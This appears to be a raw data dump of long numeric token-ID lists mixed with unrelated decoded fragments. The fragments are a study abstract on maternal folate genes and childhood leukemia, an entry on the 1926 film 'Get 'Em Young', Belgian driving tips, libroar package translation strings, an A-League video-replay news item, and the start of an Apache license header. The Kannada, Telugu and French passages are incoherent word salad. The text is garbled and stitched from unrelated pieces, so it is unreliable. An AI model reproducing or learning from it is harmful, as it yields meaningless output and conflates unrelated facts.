15, 187, 187, 14376, 27, 187, 187, 16687, 273, 3167, 14, 17777, 28437, 323, 5135, 287, 274, 187, 187, 18548, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 24111, 14, 40601, 187, 187, 32803, 1967, 15, 187, 187, 14376, 27, 187, 187, 1552, 310, 247, 4849, 273, 3167, 2898, 3907, 28437, 323, 5135, 287, 274, 15, 19005, 2898, 3907, 28437, 403, 28437, 534, 476, 320, 10607, 275, 512, 3167, 4893, 313, 70, 15, 72, 15, 687, 472, 13, 40257, 16895, 28971, 285, 40257, 1993, 3550, 69, 481, 187, 187, 11185, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 24111, 14, 40601, 187, 187, 32803, 3677, 15, 187, 187, 14376, 27, 187, 187, 1552, 4849, 671, 3797, 28437, 9371, 323, 33146, 253, 15191, 5673, 273, 4893, 970, 5135, 287, 274, 434, 15191, 5673, 15, 187, 187, 11185, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 24111, 14, 40601, 187, 187, 32803, 3547, 15, 187, 187, 14376, 27, 187, 187, 14541, 318, 13747, 323, 253, 8741, 274, 23751, 3590, 4771, 285, 8548, 187, 187, 18548, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 19, 187, 187, 32803, 3655, 15, 187, 187, 14376, 27, 187, 187, 11594, 27436, 6335, 323, 1639, 13511, 459, 187, 187, 18548, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 6291, 14, 1689, 3136, 14, 498, 13511, 459, 187, 187, 32803, 3566, 15, 187, 187, 14376, 27, 187, 187, 21309, 11826, 3136, 310, 247, 1639, 13511, 459, 6335, 326, 3400, 247, 12112, 13, 21515, 494, 5122, 281, 9017, 3470, 846, 597, 452, 644, 2931, 15, 1556, 3492, 2397, 698, 281, 1265, 1078, 34482, 187, 187, 510, 329, 14, 43174, 310, 873, 281, 3359, 3492, 2397, 698, 1078, 253, 34482, 2962, 7866, 13, 4495, 2600, 784, 18048, 751, 5119, 2639, 2191, 434, 1133, 2910, 4736, 588, 642, 3356, 320, 9829, 15, 187, 187, 22893, 273, 253, 329, 14, 43174, 13916, 473, 8, 51, 454, 413, 556, 4950, 15794, 20369, 6976, 434, 4283, 10591, 6151, 285, 3492, 13372, 10591, 6151, 313, 26205, 84, 10, 5262, 253, 8849, 1078, 1390, 16472, 5216, 273, 9221, 2364, 70, 4302, 387, 40767, 434, 4146, 49017, 21246, 15, 187, 187, 1147, 2210, 846, 401, 5377, 434, 6423, 273, 10591, 6151, 6029, 10520, 29433, 281, 41397, 469, 3563, 1390, 1770, 323, 29561, 327, 30226, 84, 342, 38075, 13, 253, 5625, 15794, 7115, 5986, 313, 3801, 2925, 10, 285, 884, 643, 15299, 4343, 15, 187, 187, 37150, 310, 581, 273, 2800, 32132, 1475, 253, 1533, 7012, 281, 1408, 253, 7587, 273, 30226, 84, 1690, 6176, 434, 42442, 30137, 285, 3968, 434, 11432, 6884, 35970, 15, 187, 187, 3269, 34, 574, 2168, 7908, 2400, 253, 2442, 281, 9569, 3492, 2397, 698, 275, 673, 323, 253, 1265, 273, 253, 34482, 327, 4162, 3127, 15, 187, 187, 1989, 597, 403, 1024, 26400, 281, 513, 594, 247, 4564, 273, 3618, 38565, 13, 5277, 597, 1849, 6312, 512, 253, 3309, 5175, 2424, 762, 38075, 4803, 15, 187, 187, 3, 1147, 434, 12162, 285, 359, 1472, 3909, 323, 271, 4162, 4533, 483, 937, 473, 8, 51, 454, 413, 2183, 329, 2088, 15, 16, 17344, 11, 187, 475, 50275, 49124, 8821, 281, 253, 14325, 9107, 6807, 313, 1719 ]	-methyltetrahydrofolate-homocysteine methyltransferase (MTR). Prefortification was defined as delivery before January 1997 and postfortification as delivery in or after January 1997. We used a two-step approach to evaluate gene-environment interactions. First, a case-only approach was used, as this design provides greater power in the assessment of gene-environment interactions compared to other approaches. Second, we confirmed all statistically significant interactions using a log-linear approach among case-parent triads. Only one of 13 interactions evaluated was confirmed in step 2. Specifically, mothers with the minor allele of MTR rs1804742 and who delivered during the prefortification period were at a greater risk of having a child with ALL (OR = 1.54, 95% CI: 0.82-2.88), compared to those mothers who delivered during the postfortification period (OR = 0.81, 95% CI: 0.22-2.99, P for interaction =.03). In one of the few studies to evaluate maternal folate metabolic genotype-folic acid interactions, we found limited evidence that the maternal MTR rs1804742 appeared to interact with higher folic acid levels to influence childhood ALL risk.Get 'Em Young Get 'Em Young is a 1926 American short comedy film starring Stan Laurel. Cast Harry Myers as Orvid Joy Eugenia Gilbert as The girl Stan Laurel as Summers, the butler Max Davidson as Isaac Goldberg, a lawyer Charlotte Mineau as Hired bride Fred Malatesta as Executor Ernest Wood as Lawrence Lavendar Virgin, a female impersonator (as Ernie Wood) Production notes Oliver Hardy was originally cast as Summers, the butler, in this short film, but had to be replaced before filming by Stan Laurel, who had not acted in films for about a year as he had been working as a writer and director, and with whom he would soon team up with at the Hal Roach Studios. Hardy had been injured in a cooking accident at home where he burned his arm after a frying pan of scalding grease spilled onto it, and was still recovering when filming for Get 'em Young began. This accident forced Hardy to be removed from the cast of the Mabel Normand film Raggedy Rose as well. Theatre fire incident This was the film being shown at the 1927 Laurier Palace Theatre Fire in Montreal, Canada, where 78 people died, all but one under age 16. See also List of American films of 1926 Stan Laurel filmography References External links Category:1926 films Category:1920s short films Category:American silent short films Category:American films Category:American black-and-white films Category:1920s comedy films Category:Films directed by Fred Guiol Category:Films directed by Stan Laurel Category:American comedy films Category:Comedy short filmsDriving in Belgium - Tips and Tricks for a Smooth Ride On a recent trip to Belgium I was struck by the differences between driving in Belgium and driving in the United States. I found increased speed limits, strange traffic signs and baffling right of way situations everywhere I looked. It’s a good thing I was riding with an experienced Belgian driver. Here are a few tips and tricks to help you prepare for driving in Belgium. I hope that these will help you have a smooth ride on your next trip! First things first, drive on the right-hand side of the road and pass only on the left. To drive in Belgium you must be at least 18 years old. Additionally you must have a valid Belgian, EU or international driver’s license. Because Belgium has two primary languages - French and Flemish - be sure you know both the French and Dutch names of your destination to prevent confusion when you are driving north to south or vice-versa (for instance, driving south from Bruges in the Flemish-speaking Flanders region you may be heading toward Bergen, but arriving in Mons - the French name for the small town in the French-speaking Wallonia region of Belgium). It’s worth it to purchase a quick reference book so you can have a list of Dutch and French translations for common words and phrases you’ll use while driving. Some general speed limit guidelines: Unless otherwise posted (more on that later) you can assume a strict speed limit of 120kph or 74mph on Motorways (four-lane roads); 90kph or 56mph on national roads (main roads) and 50kph or 31mph in built-up areas (within towns). Visitors to Belgium are expected to pay any fines on-the-spot, so watch your speed! Don’t be caught without your seat belt! In Belgium, seat belts are required both in front seat and back. If you are traveling with children under 12, they must sit in the back seat. One unusual Belgian driving regulation is “priority from the right” which requires that drivers must stop for traffic joining from the right. (This is completely opposite from the American custom of yielding right of way to traffic on the left.) Only in specific circumstances does this “priority from the right” not apply: yellow or orange diamond signs or on motorways and roundabouts. Both pedestrians and trams have the right of way in Belgium. Always stop for pedestrians! Some traffic signs you will encounter with frequency include “wait for counter traffic” which is a downward facing black arrow and an upward facing red arrow, indicating which car should yield to another when a road has become one single lane; the “no overtaking” or no passing sign, which is a black car and red car side-by-side; “no parking” which is a red line over a blue background and the “stop” sign with a red circle and black horizontal line. Cell phone use is only permitted with hands-free systems. In an emergency, dial 112 anywhere in the EU to reach emergency services.To get programs which use the EsounD (ESD), OpenBSD sndio, PulseAudio or YIFF API running, you can install this package and replace the appropriate libraries. Description Current French: (no translation yet) Located in Package: libroar-compat2 43267. English: header files and documentation for the RoarAudio libraries Summary Current French: (no translation yet) Located in Package: libroar-dev 43268. English: This package contains the development headers for the libroar library. Description Current French: (no translation yet) Located in Package: libroar-dev 43269. English: Collection of host-independent plugins for libroar Summary Current French: (no translation yet) Located in Package: libroar-plugins-universal 43270. English: This is a collection of host application independent plugins for libroar. Host application independent plugins are plugins which can be loaded in all host applications (e.g. roard, roarpluginrunner and roarplaylistd). Description Current French: (no translation yet) Located in Package: libroar-plugins-universal 43271. English: This collection also includes plugins helpful for debugging the plugin interface of applications using libroar's plugin interface. Description Current French: (no translation yet) Located in Package: libroar-plugins-universal 43272. English: foundation libraries for the RoarAudio sound server and clients Summary Current French: (no translation yet) Located in Package: libroar2 43273. English: Function wrapper library for Clojure Summary Current French: (no translation yet) Located in Package: librobert-hooke-clojure 43274. English: Robert Hooke is a Clojure library that provides a flexible, composable mechanism to extend functions after they have been defined.AL video replays to start before finals The A-League is set to implement video replays before the finals series starts, meaning contentious incidents like David Carney's handball goal will no longer be missed. Head of the A-League Greg O'Rourke has revealed Football Federation Australia's leading referees and video assistant referees (VARs) spent the weekend before last conducting tests of Hawkeye technology at Brisbane's Suncorp Stadium. It came after FFA's director of referees Ben Wilson travelled to Zurich late last month for workshops on VARs with FIFA, the International Football Association Board (IFAB) and 10 other participating countries. Australia is one of six leagues around the world approved to run the trials of VARs including Germany's Bundesliga and America's Major League Soccer. FFA had already flagged the potential to introduce video replays in time for the start of the finals on April 21. But they are now aiming to do so a couple of weeks beforehand, providing they've completed all the necessary testing required under FIFA rules. "It's proceeding and we're online for an April rollout," O'Rourke told AAP./***************************************************************** * Licensed to the Apache Software Foundation (AS
[ 14489, 103, 28888, 212, 47568, 218, 14489, 110, 14489, 107, 14489, 119, 28888, 212, 14489, 101, 28888, 212, 187, 14489, 105, 28888, 217, 14489, 110, 14489, 125, 47568, 232, 28888, 223, 14489, 213, 14489, 242, 14489, 125, 47568, 119, 28888, 221, 14489, 213, 14489, 101, 14489, 125, 14489, 101, 28888, 224, 14489, 101, 14489, 124, 14489, 110, 28888, 217, 47568, 216, 14489, 101, 14489, 232, 28888, 224, 14489, 232, 28888, 217, 47568, 217, 14489, 118, 14489, 232, 28888, 224, 14489, 99, 14489, 125, 187, 14489, 217, 14489, 101, 28888, 224, 14489, 101, 14489, 110, 14489, 125, 14489, 213, 14489, 101, 47568, 103, 14489, 124, 14489, 115, 28888, 212, 47568, 232, 14489, 124, 14489, 110, 28888, 224, 14489, 108, 14489, 125, 14489, 232, 47568, 108, 14489, 99, 28888, 224, 14489, 99, 28888, 212, 47568, 225, 14489, 112, 28888, 224, 14489, 112, 14489, 124, 47568, 225, 14489, 213, 14489, 101, 28888, 212, 187, 14489, 103, 14489, 124, 14489, 115, 28888, 212, 47568, 105, 28888, 224, 14489, 110, 14489, 116, 28888, 224, 14489, 103, 14489, 124, 14489, 110, 28888, 224, 14489, 119, 47568, 107, 14489, 113, 14489, 118, 14489, 107, 14489, 119, 28888, 212, 14489, 101, 28888, 218, 187, 14489, 108, 14489, 99, 28888, 224, 14489, 99, 28888, 212, 47568, 110, 14489, 124, 14489, 99, 28888, 224, 14489, 110, 14489, 125, 47568, 216, 14489, 101, 28888, 212, 47568, 116, 28888, 224, 14489, 110, 14489, 108, 14489, 101, 14489, 124, 14489, 109, 14489, 232, 47568, 225, 14489, 213, 14489, 101, 28888, 212, 187, 14489, 232, 14489, 243, 14489, 125, 14489, 98, 47568, 108, 14489, 124, 14489, 96, 28888, 212, 14489, 115, 187, 14489, 237, 14489, 242, 28888, 212, 14489, 115, 14489, 242, 14489, 125, 14489, 232, 28888, 217, 10710, 187, 14489, 107, 28888, 217, 14489, 113, 14489, 234, 14489, 125, 14489, 103, 47568, 110, 14489, 112, 28888, 224, 14489, 112, 14489, 125, 47568, 105, 14489, 96, 28888, 217, 14489, 109, 14489, 112, 28888, 212, 47568, 108, 14489, 99, 28888, 224, 14489, 99, 28888, 212, 187, 14489, 225, 14489, 213, 14489, 101, 28888, 212, 47568, 118, 14489, 101, 28888, 224, 14489, 101, 14489, 125, 14489, 112, 28888, 224, 14489, 112, 14489, 101, 28888, 217, 47568, 115, 14489, 125, 14489, 237, 14489, 124, 14489, 110, 14489, 98, 28888, 217, 14489, 234, 28888, 217, 47568, 216, 14489, 115, 14489, 110, 14489, 103, 28888, 224, 14489, 103, 28888, 212, 47568, 99, 14489, 110, 14489, 112, 28888, 212, 187, 14489, 118, 14489, 124, 14489, 102, 28888, 224, 14489, 109, 14489, 115, 14489, 124, 14489, 101, 14489, 117, 28888, 224, 14489, 242, 28888, 212, 187, 14489, 217, 14489, 110, 28888, 212, 247, 64, 78, 64, 47568, 103, 14489, 112, 28888, 224, 14489, 112, 14489, 125, 6589, 35, 2449, 47568, 103, 28888, 211, 14489, 115, 28888, 212, 47568, 103, 14489, 103, 28888, 224, 14489, 103, 14489, 103, 28888, 224, 14489, 103, 28888, 212, 47568, 107, 28888, 218, 14489, 232, 14489, 124, 14489, 101, 14489, 110, 28888, 217, 47568, 108, 28888, 221, 14489, 101, 14489, 112, 28888, 212, 187, 14489, 103, 14489, 213, 14489, 99, 14489, 110, 47568, 103, 14489, 103, 28888, 224, 14489, 103, 47568, 108, 14489, 103, 28888, 217, 14489, 234, 28888, 217, 47568, 110, 28888, 219, 14489, 242, 28888, 224, 47568, 100, 14489, 125, 14489, 213, 14489, 234, 28888, 224, 47568, 103, 14489, 112, 28888, 224, 14489, 112, 14489, 125, 47568, 232, 14489, 110, 28888, 217, 187, 68, 8902, 447, 47568, 225, 14489, 213, 14489, 101, 28888, 212, 47568, 119, 28888, 222, 14489, 234, 28888, 212, 14489, 115, 47568, 118, 28888, 224, 14489, 108, 14489, 124, 14489, 110, 28888, 224, 14489, 242, 28888, 224, 47568, 115, 14489, 232, 28888, 211, 14489, 112, 47568, 118, 14489, 125, 14489, 232, 28888, 224, 14489, 232, 14489, 125, 14489, 99, 28888, 212, 187, 14489, 108, 28888, 222, 14489, 239, 14489, 125, 14489, 103, 47568, 103, 14489, 124, 14489, 103, 28888, 212, 47568, 218, 14489, 112, 28888, 224, 14489, 112, 14489, 101, 28888, 217, 47568, 216, 14489, 115, 14489, 110, 14489, 103, 28888, 224, 14489, 103, 28888, 212, 47568, 116, 14489, 125, 14489, 232, 28888, 224, 14489, 117, 14489, 125, 14489, 118, 14489, 112, 28888, 212, 47568, 119, 28888, 221, 14489, 213, 14489, 101, 14489, 125, 14489, 99, 28888, 224, 14489, 99, 28888, 212, 187, 14489, 101, 28888, 218, 14489, 119, 14489, 101, 47568, 105, 28888, 212, 14489, 110, 14489, 124, 14489, 115, 28888, 217, 14489, 234, 14489, 113, 28888, 212, 47568, 101, 28888, 214, 14489, 97, 14489, 115, 14489, 124, 14489, 101, 187, 14489, 116, 14489, 125, 14489, 107, 14489, 125, 14489, 110, 14489, 101, 14489, 112, 28888, 224, 14489, 112, 14489, 125, 47568, 103, 28888, 211, 14489, 115, 28888, 212, 47568, 118, 14489, 124, 14489, 102, 28888, 224, 14489, 109, 14489, 115, 28888, 222, 47568, 103, 14489, 124, 14489, 112, 28888, 224, 14489, 232, 28888, 212, 47568, 225, 14489, 232, 14489, 110, 28888, 217, 187, 187, 43017, 42314, 27, 209, 187, 10681, 118, 10681, 213, 10681, 118, 42916, 10681, 100, 10681, 112, 48058, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 115, 44973, 10681, 101, 22379, 218, 10681, 116, 22379, 211, 34749, 109, 22379, 221, 10681, 232, 42916, 10681, 232, 34749, 237, 22379, 218, 10681, 99, 44973, 10681, 112, 22379, 222, 187, 10681, 115, 42916, 10681, 109, 10681, 232, 42916, 10681, 99, 44973, 34749, 103, 22379, 218, 10681, 103, 48058, 34749, 219, 34749, 118, 10681, 213, 10681, 101, 10681, 110, 42916, 10681, 244, 10681, 213, 10681, 112, 22379, 222, 34749, 220, 10681, 101, 42916, 10681, 101, 22379, 218, 10681, 116, 44973, 10681, 213, 10681, 237, 44973, 34749, 232, 10681, 124, 10681, 101, 48058, 187, 10681, 218, 10681, 101, 44973, 34749, 105, 42916, 10681, 110, 10681, 124, 10681, 110, 10681, 213, 10681, 244, 10681, 213, 34749, 108, 10681, 124, 10681, 99, 42916, 10681, 110, 10681, 108, 22379, 218, 34749, 216, 10681, 103, 42916, 10681, 103, 10681, 124, 10681, 110, 48058, 187, 10681, 108, 10681, 110, 48058, 10681, 118, 10681, 242, 44973, 34749, 220, 10681, 101, 10681, 109, 10681, 213, 34749, 107, 22379, 217, 10681, 103, 42916, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 103, 22379, 218, 10681, 103, 48058, 34749, 232, 10681, 112, 44973, 10681, 118, 44973, 10681, 103, 187, 10681, 232, 10681, 124, 10681, 110, 42916, 10681, 109, 10681, 124, 10681, 112, 10681, 109, 10681, 213, 187, 10681, 103, 10681, 124, 10681, 112, 48058, 10681, 234, 48058, 247, 64, 78, 64, 34749, 234, 10681, 99, 34749, 232, 22379, 221, 10681, 103, 42916, 10681, 103, 44973, 34749, 103, 44973, 10681, 108, 44973, 10681, 117, 10681, 124, 10681, 112, 48058, 187, 10681, 225, 10681, 110, 44973, 10681, 232, 10681, 124, 34749, 232, 42916, 10681, 115, 10681, 124, 10681, 118, 44973, 10681, 108, 10681, 124, 10681, 96, 22379, 222, 34749, 216, 10681, 118, 42916, 10681, 118, 10681, 112, 48058, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 187, 10681, 108, 22379, 218, 10681, 108, 48058, 34749, 232, 22379, 222, 10681, 118, 10681, 213, 34749, 105, 42916, 10681, 110, 10681, 124, 10681, 110, 10681, 213, 10681, 244, 44973, 10681, 213, 10681, 237, 10681, 124, 10681, 110, 48058, 34749, 110, 22379, 217, 10681, 118, 42916, 10681, 242, 10681, 124, 10681, 110, 22379, 217, 10681, 213, 10681, 242, 42916, 187, 10681, 118, 42916, 10681, 100, 10681, 124, 10681, 103, 44973, 10681, 232, 34749, 105, 42916, 10681, 110, 10681, 244, 48058, 10681, 99, 42916, 10681, 115, 10681, 213, 34749, 115, 42916, 10681, 110, 10681, 124, 10681, 118, 44973, 10681, 109, 48058, 10681, 103, 42916, 10681, 103, 10681, 124, 10681, 96, 48058, 187, 10681, 102, 10681, 103, 42916, 10681, 109, 10681, 115, 10681, 124, 10681, 101, 10681, 124, 10681, 112, 48058, 34749, 109, 22379, 221, 10681, 232, 42916, 10681, 232, 34749, 232, 22379, 222, 10681, 110, 42916, 10681, 118, 48058, 34749, 109, 22379, 221, 10681, 232, 42916, 10681, 232, 34749, 218, 10681, 101, 44973, 367, 2261, 187, 10681, 232, 48058, 10681, 232, 42916, 10681, 232, 10681, 112, 48058, 34749, 105, 42916, 10681, 112, 22379, 218, 34749, 218, 10681, 115, 42916, 10681, 115, 10681, 96, 10681, 124, 10681, 103, 44973, 10681, 232, 44973, 34749, 108, 10681, 124, 10681, 99, 22379, 222, 34749, 232, 10681, 112, 44973, 10681, 118, 44973, 34749, 108, 10681, 124, 10681, 242, 42916, 10681, 112, 10681, 124, 10681, 96, 22379, 218, 187, 10681, 232, 10681, 124, 10681, 112, 10681, 213, 187, 10681, 103, 10681, 124, 10681, 112, 48058, 10681, 234, 48058, 34749, 234, 10681, 99, 34749, 218, 10681, 110, 10681, 115, 22379, 219, 34749, 225, 10681, 103, 44973, 10681, 108, 44973, 10681, 101, 44973, 34749, 103, 44973, 10681, 108, 44973, 10681, 117, 10681, 124, 10681, 112, 34749, 118, 10681, 124, 10681, 102, 44973, 10681, 213, 10681, 237, 44973, 10681, 213, 10681, 101, 44973, 187, 10681, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 216, 10681, 101, 44973, 34749, 237, 22379, 213, 10681, 118, 10681, 124, 10681, 108, 48058, 34749, 105, 10681, 103, 44973, 34749, 105, 22379, 213, 10681, 110, 42916, 10681, 99, 44973, 187, 10681, 234, 10681, 115, 10681, 110, 42916, 10681, 103, 10681, 110, 48058, 10681, 234, 10681, 124, 34749, 99, 44973, 10681, 110, 44973, 10681, 234, 44973, 187, 10681, 96, 22379, 223, 10681, 103, 42916, 34749, 118, 10681, 108, 10681, 109, 10681, 213, 10681, 112, 22379, 222, 34749, 234, 10681, 124, 10681, 103, 44973, 34749, 108, 10681, 124, 10681, 110, 42916, 10681, 234, 10681, 213, 34749, 216, 10681, 115, 48058, 10681, 242, 42916, 187, 10681, 105, 42916, 10681, 110, 10681, 108, 48058, 10681, 233, 34749, 110, 22379, 222, 10681, 96, 42916, 187, 10681, 115, 22379, 217, 10681, 213, 10681, 242, 10681, 103, 22379, 218, 34749, 218, 10681, 242, 22379, 211, 10681, 115, 10681, 112, 44973, 187, 10681, 232, 22379, 218, 10681, 242, 10681, 112, 10681, 124, 10681, 234, 42916, 34749, 232, 48058, 10681, 232, 42916, 10681, 232, 10681, 112, 48058, 34749, 232, 42916, 10681, 110, 44973, 10681, 213, 10681, 101, 34749, 220, 10681, 103, 42916, 10681, 103, 10681, 124, 10681, 109, 44973, 187, 10681, 239, 22379, 211, 10681, 99, 10681, 124, 10681, 112, 48058, 34749, 237, 22379, 217, 10681, 112, 42916, 10681, 112, 44973, 10681, 213, 10681, 237, 44973, 10681, 213, 10681, 101, 10681, 103, 42916, 10681, 103, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 105, 10681, 124, 10681, 242, 48058, 34749, 237, 22379, 218, 10681, 109, 10681, 124, 10681, 112, 10681, 103, 48058, 10681, 232, 48058, 10681, 213, 10681, 242, 48058, 10681, 103, 42916, 10681, 103, 10681, 124, 10681, 110, 48058, 187, 10681, 232, 10681, 118, 42916, 10681, 242, 10681, 108, 10681, 110, 42916, 34749, 112, 22379, 218, 10681, 101, 10681, 124, 34749, 218, 10681, 232, 42916, 10681, 232, 10681, 96, 9711, 19001, 68, 459, 187, 10681, 108, 22379, 221, 10681, 103, 10681, 124, 10681, 232, 22379, 222, 34749, 108, 10681, 110, 44973, 10681, 109, 48058, 34749, 103, 22379, 218, 10681, 103, 48058, 34749, 232, 22379, 213, 10681, 96, 10681, 107, 22379, 217, 10681, 242, 42916, 10681, 242, 48058, 34749, 103, 44973, 10681, 110, 42916, 10681, 115, 10681, 119, 10681, 98, 34749, 103, 22379, 218, 10681, 103, 48058, 187, 187, 21258, 27, 209, 187, 69, 507, 826, 2022, 711, 23493, 1162, 711, 3974, 1206, 11207, 187, 10816, 570, 1753, 5139, 1670, 2310, 1185, 18208, 2438, 10723, 1144, 298, 8, 565, 1075, 187, 300, 425, 19847, 1753, 764, 19667, 187, 282, 28698, 358, 404, 1111, 249, 1162, 2240, 480, 8, 2284, 3816, 19657, 860, 4057, 298, 8, 187, 67, 13252, 187, 38582, 10999, 2909, 44583, 572, 11203, 247, 64, 78, 64, 187, 254, 3737, 21582, 303, 19095, 7222, 3443, 14078, 1162, 187, 1120, 28973, 27233, 13953, 48335, 764, 2083, 860, 6531, 826, 187, 9960, 458, 305, 16017, 34711, 372, 298, 8, 2422, 11304, 247, 3974, 24913, 187, 41496, 15923, 256, 24690, 83, 372, 14121, 373, 372, 650, 6457, 336, 6531, 187, 1148, 2146, 14333, 13953, 372, 15934, 254, 3293, 21477, 561, 42138, 290, 187, 81, 31178, 3180, 372, 29324, 187, 66, 16703, 73, 1619, 247, 187, 292, 2743, 66, 40999, 247, 23162, 19847, 14333, 458, 187, 250, 1206, 16017, 305, 16017, 79, 593, 187, 15227, 343, 3443, 29324, 372, 37383, 40881, 251, 546, 1666, 372, 826, 187, 25966, 1821, 386, 187, 20887, 1154, 70, 14078, 372, 18880, 187, 868, 21477, 561, 3443, 33733, 16491, 16399, 14, 22192, 528, 187, 12080, 860, 546, 14404, 1162, 1753, 18659, 18155, 3227, 614, 91, 6531, 3648, 81, 25823, 187, 8780, 10959, 9711, 19001, 68, 459, 50121, 187, 9304, 15861, 1162, 5139, 37179, 826, 19763, 256, 8, 48925, 13543, 187, 187, 27397, 27, 209, 187 ]	ನು ಇರಬಹುದು ಪೆರಿ ಕೌಂಟಿ ಹೊಂದಿದ್ದಾರೆ ಅದಕ್ಕೆ ಆಸಕ್ತಿ ಆದ್ದರಿಂದ ನಾವು ಕಾರ್ಮಿಕ ಮತ್ತು ಎಲ್ಲಾ ಎಂದು ನಾವು ಪ್ರಶ್ನಾರ್ಹ ಬಳಸಬಹುದೇ ಮತ್ತು ರಾತ್ರಿ ಅದು ಶ್ರಮದಾಯಕ ಎಂದು ಕಠಿಣ ಮಾಡುವ ಚಟುವಟಿಕೆ DR ಬೆಳಗಿನ ರಲ್ಲಿ ಪಡೆಯಲು ಮತ್ತು ಎಂದು ಸದ್ದಿಲ್ಲದೆ ವಿಚಾರಣೆಗೆ ಅವರನ್ನು ತರಲು ಸಾಧ್ಯವಾದಷ್ಟು ಆರು a_m_ ನಲ್ಲಿ ALBION ನೀವು ನನ್ನನ್ನು ಬೇಕಾದರೆ ಮೊದಲು ನಂತರ ನನ್ನ ಮನೆಗೆ ರೈಟ್ ಥಿಂಗ್ ನಲ್ಲಿ ಕರೆ cabbies ಎಂದು ಹೋಗುವ ಸ್ಮಾರ್ಟ್ ವಕೀಲ ಸಿಕ್ಕಿತು ಮೋಜಿನ ನಾನು ಇಲ್ಲದೆ ಅವರನ್ನು ಶಿಕ್ಷಿಸಲು ಹೊಂದಿತ್ತು ದೇಹದ ಪುರಾವೆಗಳು ದೃಢವಾದ ಶಿಬಿರದಲ್ಲಿ ನೀವು ಸಾಧ್ಯವೋ ನಾಲ್ಕು ಎಕರೆ Telugu: సంస్థలు మరియు విదేశీ యొక్క చేతిలో వ్యక్తి నేను ఈ సందర్భంలో ఉద్దేశించి కాదు ఇది ప్రారంభం మాత్రమే అన్నారు మరుసటి ఉదయం బెన్ మరియు నేను కలిసిన కార్యాలయం నాలుగు a_m_ గత కొన్ని నిమిషాలు ఎరికా క్వాసిమాడో అస్సలు మరియు మేము కోసం ప్రారంభించారు రెస్టారెంట్ స్థానిక ప్రభుత్వం వ్రాసియున్నాడు ధన్యవాదాలు యొక్క కోర్సు యొక్క ఇది Pounds కుక్కలు ప్లే ఇవ్వడానికి మాతో కలిసి మాట్లాడే కాలం నాలుగు గత ఇరవై ఎనిమిది నిమిషాల సాధించింది మరియు అది చూసాము పని పూర్తి గవర్నరుగా తిరిగి డౌన్ సమయంలో గాని మార్గం అవుట్ ప్రముఖ రోడ్ వెంటనే ఇటీవలి కేటలాగ్ కుక్కలు క్రింద ఉన్నాయి జీతాలు చెల్లించిందన్న మరియు పాటు చేయాలనుకుంటున్నారు కస్టమర్ లేదా ఇక్కడ silverdarkcure మొనాకో మరియు నేను కూడబెట్టు నిర్వహణ నేను French: dans la main des corps et des étrangers personne que je veux dire cette affaire est l'intention il ne fait que commencer le lendemain matin et ben j'ai rencontré à l' bureau quelques minutes depuis quatre a_m_ erica quasimodo pas du tout et restaurant où nous avons commencé pour la sur le gouvernement de l'Alaska a écrit qui bien sûr de livres de grâce pour parler avec nous de garder les chiens jouent périodes de temps a 04h28 a et regarda cela a été fait avec le retrouver gouvernance sortir du temps de toute façon en bas de la route menant récente tout de suite les chiens du catalogue sont ci-dessous payé en trop et que vous souhaitez pour accompagner client ou silverdarkcure ici Monaco et je suis la manipulation s'accumulent Russian:
[ 187, 187, 2185, 83, 4146, 310, 247, 4177, 273, 9879, 1511, 1713, 4414, 187, 187, 40, 15, 187, 187, 34, 1344, 11168, 398, 476, 2557, 247, 4177, 434, 2280, 275, 760, 2176, 2219, 15, 6758, 581, 273, 253, 1563, 2219, 1537, 1581, 35081, 398, 281, 2557, 247, 4177, 434, 2280, 32, 187, 187, 510, 4177, 310, 247, 3558, 273, 253, 8985, 4177, 985, 15, 187, 187, 1276, 1307, 310, 1677, 281, 247, 4667, 273, 6114, 326, 359, 476, 3653, 403, 36391, 539, 72, 1016, 643, 760, 407, 10499, 616, 15316, 30116, 15036, 32, 187, 187, 38727, 26129, 8985, 15, 187, 187, 510, 24039, 327, 247, 45763, 91, 27375, 1947, 14, 17233, 437, 10659, 1957, 37866, 15, 187, 187, 45, 6059, 11108, 285, 2553, 3276, 15, 187, 187, 1276, 476, 359, 9441, 13, 387, 1878, 11467, 13, 432, 247, 4177, 434, 20545, 966, 32, 187, 187, 27132, 1979, 15, 187, 187, 2374, 271, 388, 14, 51, 10659, 13, 13671, 32285, 37866, 15, 187, 187, 25800, 511, 1073, 5154, 595, 432, 253, 2406, 1669, 281, 253, 5170, 987, 15, 187, 187, 2374, 271, 388, 14, 51, 10659, 13, 13671, 11843, 37866, 15, 187, 187, 5804, 320, 3413, 323, 2022, 3425, 6114, 533, 417, 323, 643, 3510, 273, 6114, 15, 187, 187, 2347, 310, 253, 12702, 273, 247, 4177, 2905, 281, 697, 2280, 32, 187, 187, 7673, 7863, 6114, 3153, 1199, 12217, 4852, 685, 1679, 7863, 6114, 15, 187, 187, 1276, 9879, 1511, 285, 20545, 310, 247, 2502, 2221, 72, 6231, 32, 187, 187, 38727, 1544, 1511, 353, 19, 13, 20545, 966, 309, 15, 187, 187, 1276, 310, 253, 1846, 18177, 273, 512, 2022, 3425, 6114, 32, 187, 187, 3726, 6635, 2341, 949, 9946, 11781, 275, 616, 5161, 15, 187, 187, 4140, 776, 4146, 497, 8423, 7932, 407, 247, 2221, 72, 6231, 4177, 15, 1737, 651, 320, 2032, 32, 187, 187, 38735, 651, 320, 3304, 253, 2221, 72, 6231, 15, 187, 187, 1276, 310, 247, 3168, 25747, 32, 187, 187, 510, 4558, 273, 247, 4177, 326, 6337, 562, 273, 7236, 323, 6069, 11781, 15, 187, 187, 1276, 3908, 10941, 1527, 285, 13371, 792, 4177, 9959, 310, 417, 2032, 32, 